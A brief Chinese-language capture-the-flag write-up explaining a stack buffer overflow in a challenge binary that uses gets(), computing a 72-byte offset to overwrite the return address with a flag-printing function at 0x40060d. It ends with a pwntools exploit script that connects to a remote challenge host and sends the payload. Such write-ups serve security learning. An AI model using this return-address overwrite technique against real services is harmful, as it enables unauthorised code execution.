nc 一下給的地址和端口號

看一下源文件

看到了熟悉的gets()函數,通常一看到這個函數就八成有緩沖區溢出漏洞,可以看出程序為v5開辟了40H的存儲空間,所以輸入長度超過40H即可造成溢出,再看sprint()函數
可以看到這個函數是獲取flag的關鍵點,程序會打印出此函數的位置,即0x40060d,到這里思路就差不多明了了,我們需要控制溢出位置,把返回地址改為此函數的地址,我們當前函數的返回值位於RBP+8的位置,因此溢出點可以通過計算得出:40H+8H=48H=72
exp:
#!/usr/bin/env python # coding=utf-8 from pwn import * context(arch = 'amd64', os = 'linux') sh = remote('111.198.29.45',56844) target = 0x40060d sh.sendline('A' * 72 + p64(target)) sh.interactive()

喜提flag。
